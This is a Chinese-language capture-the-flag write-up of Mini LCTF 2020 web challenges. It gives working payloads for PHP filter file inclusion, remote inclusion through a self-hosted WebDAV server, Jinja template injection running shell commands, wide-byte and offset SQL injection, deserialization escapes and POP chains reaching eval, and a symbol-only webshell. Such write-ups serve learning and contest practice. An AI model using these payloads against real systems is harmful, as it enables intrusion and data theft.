Mini LCTF 2020 WP

admin 2021年5月7日00:45:49评论94 views字数 8331阅读27分46秒阅读模式

Mini LCTF 2020是西电的招新赛,题目比较简单(假的),但对于本web菜狗来说也学到了很多,要经常提醒自己要多做总结,注意细节

include

打开是源码

```php
<?php
error_reporting(0);
$id= $_COOKIE["ID"];
show_source(FILE);
if(unserialize($id) === "$admin")
{
include("next.php");
$key = @$_REQUEST['key'];
if(preg_match('/p@d/is',$key)){
show_source("next.php");
}
}
?>

<?php
//hint
$admin = 'm0ectf';
?>
```

第一层直接传ID,考验基本工吧,传参这些的

Mini LCTF 2020 WP

来到第二层 访问TE9PS0hFUkU=.html,会发现302转跳到百度,抓下包看有什么

```

base64后 Oh%21Go%20%20f1na1.php
```

第三层 f1na1.php有一个文件读取,但是有过滤,测试大小写可以绕对php的绕过

伪协议读下源码

```php

/f1na1.php?file=Php://filter/read=convert.base64-encode/resource=f1na1.Php

<?php
error_reporting(0);
if(!$_GET

){echo 'See hint.';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")||strstr($file,"php")){
echo "Hacker!";
exit();
}
include($file);
?>

hint.php

<p>Flag is here.</p>
```

f1na1.php中stristr不分大小写,strstr区分大小写,所以大小写可以绕php,但是绕不过其他的

hint.php 中可以提示有flag在这个目录中,但是文件名不知道,目标就是扫目录了

引入一个知识点

RFI 绕过 URL 包含限制 getshell

https://paper.seebug.org/923/

https://www.anquanke.com/post/id/201060#h3-9c

php version 5.2以后php.ini配置中默认关闭了allow_url_include,而RFI包含执行需要

allow_url_fopen=On
allow_url_include=On

allow_url_fopenallow_url_include主要是针对两种协议起作用:http://ftp://,可以通过SMBWebDAV绕过此限制

阿里云服务器上打不开445端口,所以放弃了SMB搭建,转向WebDAV

doker搭建

```
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav

/webdav/data里写共享文件
```

本来是想写shell的,但是没得权限写shell,扫一下目录

```

/webdav/data/5

<?php
system("dir");
phpinfo();
```

包含一下

Mini LCTF 2020 WP

有一个ZmxhZ2ZsQGcxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjM.txt,直接访问就是flag

```
Congratulations! BTW: Don't break my env tks Mini LCTF 2020 WP

Here is flag:
minil{ad87a2c369637dc51895cb557c98481c}
```

签到题

直接给了shell

php
&lt;?system($_GET['a'])?&gt;
&lt;?highlight_file(__FILE__)?&gt;
&lt;?//hint: 题目机子没有外网

ls /有个/readflag,执行但是并没有输出flag,试试输入一个yes

```
?a=/readflag
do you want the flag?

?a=echo yes | /readflag
do you want the flag?really?

?a=echo yes yes| /readflag
do you want the flag? really? then calculate 11+62=?

?a=echo yes yes 124| /readflag
写个脚本爆破就行
```

```python
import requests

u = 'http://d1eb8b9d09bb156cbef0926a56b23c7d.challenge.mini.lctf.online:1080/'

while True:
t = requests.get(u, params={
'a': 'echo yes yes 88 | /readflag'
}).text

if "mini" in t:
    print(t)

```

还有种非预期,echo yes| /readflag 爆破也行,当第一个参数为0可以出flag,最后问出题人是因为重复用了一个变量导致非预期

Personal_IP_Query

题目提示 Your IP 猜测是X-Forwarded-For对输出有影响,最后测出是ssti,但是过滤了很多东西像下划线,引号全没了,只能用传参来绕

```python
?c=class&b=bases&s=subclasses&i=init&g=globals&bt=builtins&d=import('os').popen('cat /flag').read()

X-Forwarded-For: {{[][request.args.c][request.args.b][0]request.args.s[76][request.args.i][request.args.g][request.args.bt].eval(request.args.d)}}

```

将其中的request.args改为request.values则利用post的方式进行传参绕过

ezbypass

第一层注入

1"|| 1 #可以绕过登录,并且回回显用户名密码 ,然而过滤了很多东西,无法正常的查数据,这里可以结合回显用一手offset

payload : logname=" || 1 limit 1 offset 3#&logpass=123

回显

alert('Username:Flag_1s_heRe nPassword:goto /flag327a6c4304a')

第二层 /flag327a6c4304a/

```php
<?php
include ('flag.php');
error_reporting(0);
function filter($payload){
$key = array('php','flag','xdsec');
$filter = '/'.implode('|',$key).'/i';
return preg_replace($filter,'hack!!!!',$payload);
}

$payload=$_GET['payload'];
$fuck['mini']='nb666';
$fuck['V0n']='no_girlfriend';

if(isset($payload)) {
if (strpos($payload, 'php') >=0 || strpos($payload, 'flag')>=0 || strpos($payload, 'xdsec')>=0) {
$fuck['mini']=$payload;
var_dump(filter(serialize($fuck)));
$fuck=unserialize(filter(serialize($fuck)));
var_dump($fuck);
if ($fuck['V0n'] === 'has_girlfriend') {
echo $flag;
} else {
echo 'fuck_no_girlfriend!!!';
}
}else{
echo 'fuck_no_key!!!';
}
}else{
highlight_file(FILE);
}
```

随便传一个payload就会出序列化值,然后就就平常的反序列化逃逸

```php
a:2:{s:4:"mini";s:4:"1213";s:3:"V0n";s:13:"no_girlfriend";}

目标序列化

a:2:{s:4:"mini";s:4:"1213";s:3:"V0n";s:14:"has_girlfriend";}

mini 可控,需要挤出 ";s:3:"V0n";s:14:"has_girlfriend";} 35个字符, 7php -> hack!!!! 刚好 75=35,那么传入payload

phpphpphpphpphpphpphp";s:3:"V0n";s:14:"has_girlfriend";}
```

就有flag了

Let's_Play_Dolls

pop链然后无参数rce

```php
<?php
error_reporting(0);
if(isset($_GET['a'])){
unserialize($_GET['a']);
}
else{
highlight_file(FILE);
}

class foo1{
public $var='';
function __construct(){
$this->var='phpinfo();';
}
function execute(){
if(';' === preg_replace('/[^W]+((?R)?)/', '', $this->var)) {
if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){
eval($this->var);
}

else{
die("hacked!");
}

}

}
function __wakeup(){
    $this-&gt;var="phpinfo();";
}
function __desctuct(){
    echo '&lt;br&gt;desctuct foo1&lt;/br&gt;';
}

}
class foo2{
public $var;
public $obj;
function __construct(){
$this->var='hi';
$this->obj=null;
}
function __toString(){
$this->obj->execute();
return $this->var;
}
function __desctuct(){
echo '<br>desctuct foo2</br>';
}
}
class foo3{
public $var;
function __construct(){
$this->var="index.php";
}
function __destruct(){
if(file_exists($this->var)){
echo "<br>".$this->var."exist</br>";
}
echo "<br>desctuct foo3</br>";
}
function execute(){
print("hi");
}
}
```

payload

```php
<?php
class foo1{
public $var='';
}

class foo2
{
public $var;
public $obj;
}

class foo3{
public $var;
}

$f1 = new foo1();
$f2 = new foo2();
$f3 = new foo3();
$f3 ->var = $f2;
$f2 ->obj = $f1;
$f1 ->var = "var_dump(scandir(getcwd()));";

echo serialize($f3);

O:4:"foo3":1:{s:3:"var";O:4:"foo2":2:{s:3:"var";N;s:3:"obj";O:4:"foo1":1:{s:3:"var";s:28:"var_dump(scandir(getcwd()));";}}}

绕一下wakeup
最后payload O:4:"foo3":2:{s:3:"var";O:4:"foo2":2:{s:3:"var";N;s:3:"obj";O:4:"foo1":1:{s:3:"var";s:28:"var_dump(scandir(getcwd()));";}}}
```

遍历出 youCanGet1tmaybe文件 直接访问flag到手

are you reclu3e?

开始没有思路做,后面提示了vim ,就想到swp文件,下到了index.php 和login.php源码

```php

index.php

<?php
include "flag.php";//$flag="minilctf{****}";
session_start();
if (empty($_SESSION['uid'])) {
include "loginForm.html";
}
else{
echo '<h1>Hello, reclu3e!</h1>';
$p=unserialize(isset($_GET["p"])?$_GET["p"]:"");
}
?>
<?php
class person{
public $name='';
public $age=0;
public $weight=0;
public $height=0;
private $serialize='';
public function __wakeup(){
if(is_numeric($this->serialize)){
$this->serialize++;
}
}
public function __destruct(){
@eval('$s="'.$this->serialize.'";');
}
}

login.php

<?php
include "connection.php";
mysqli_query($conn, "SET CHARACTER SET 'gbk'");

$username=addslashes($_POST['username']);
$password=addslashes($_POST['password']);
$msg='';
if(empty($username)){
    $msg='please post your username';
}
else{
    $sql="select * from users where username='$username'";
    $result=mysqli_query($conn,$sql);
    if($result){
        $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
    }
    if(empty($row)){
        $msg='you are not reclu3e';
    }
    else{
        if($row['password']!==$password){
            $msg='I know you are reclu3e but you need post the right password';
        }
        else{
            session_start();
            $_SESSION['uid'] = $username;
            echo '&lt;script&gt;alert("Yes! you are reclu3e")&lt;/script&gt;';
        }
    }
}
if(!empty($msg)){
    echo "&lt;script&gt;alert('$msg')&lt;/script&gt;";
}
$conn-&gt;close();
echo "&lt;script type='text/javascript'&gt;";  
echo "window.location.href='index.php'";  
echo "&lt;/script&gt;";

```

明显login.php有宽字节注入,切password是拿出来单独验证,所以这里用union绕一下

payload:username=%df%27 union select 1,1#&password=1

然后又是玩烂了的反序列化了,23333 ,flag在flag.php里

```php
<?php
class person{
public $name ='';
public $age =0;
public $weight=0;
public $height=0;
public $serialize='1";?><?php show_source("flag.php");?>';

}

$a = new person();
echo serialize($a);

ps:wakeup不用绕,也绕不了 xs
```

Mini LCTF 2020 WP

id_wife

随便注换了一个前端,但是看到了西电大师傅的靓照 血赚

sql
id=w1nd');handler `1145141919810` open as yun;handler yun read first;handler yun read next;

P

第一层改序列化得源码

php
&lt;?php
include 'classes.php';
if (!isset($_COOKIE['git'])) {
ob_start();
setcookie('git', base64_encode(serialize(new gitee('index.php'))));
echo '&lt;script&gt;location.reload()&lt;/script&gt;';
ob_end_flush();
die();
}
$comp = unserialize(base64_decode($_COOKIE['git']));
highlight_file($comp-&gt;file);
echo '&lt;br&gt;';

setcookie('git', base64_encode(serialize(new gitee('index.php'))));,我们可以在cookie中base64后看序列化后的数据

O:5:"gitee":1:{s:4:"file";s:9:"index.php";}
index.php 改成class.php就可以看到classes.php的源码
O:5:"gitee":1:{s:4:"file";s:11:"classes.php";}

第二层 无字符webshell

php
&lt;?php
class gitee {
function __destruct() {
echo '你用上了Git,可是,代价是什么呢(悲)';
}
function __construct($f) {
$this-&gt;file = $f;
}
}
class github {
public $cmd = '';
function __destruct() {
if (preg_match("/[A-Za-oq-z0-9$]+/", $this-&gt;cmd))
die("cerror");
$blacklist = "~!@#%^&*()()-_{}[]'":,";
foreach(str_split($blacklist) as $char) {
echo $char;
if(strchr($this-&gt;cmd, $char) !== false)
die('serror');
}
eval($this-&gt;cmd);
}
public function __wakeup() {
if ($_SERVER["HTTP_X_REAL_IP"] !== '127.0.0.1') {
// proxy_set_header X-Real-IP $remote_addr;
die('across the great ... nope');
}
}
}

payload:

``php
&lt;?php
class github {
public $cmd = '?&gt;&lt;?=
. /??p/p?p??????`;?>';
public $file = "index.php";
}

echo serialize(new github());

```

Mini LCTF 2020 WP

相关推荐: 深入分析一个有趣的SSRF漏洞

关于SSRF漏洞的文章,读者也许已经读过很多了,例如,有的SSRF漏洞甚至能够升级为RCE漏洞——尽管这是大部分攻击者的终极目标,但本文介绍的重点,却是SSRF经常被忽略的影响:对于应用程序逻辑的影响。 在这篇文章中,我们将为您讲述一个无需身份验证的SSRF漏…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月7日00:45:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mini LCTF 2020 WPhttps://cn-sec.com/archives/246559.html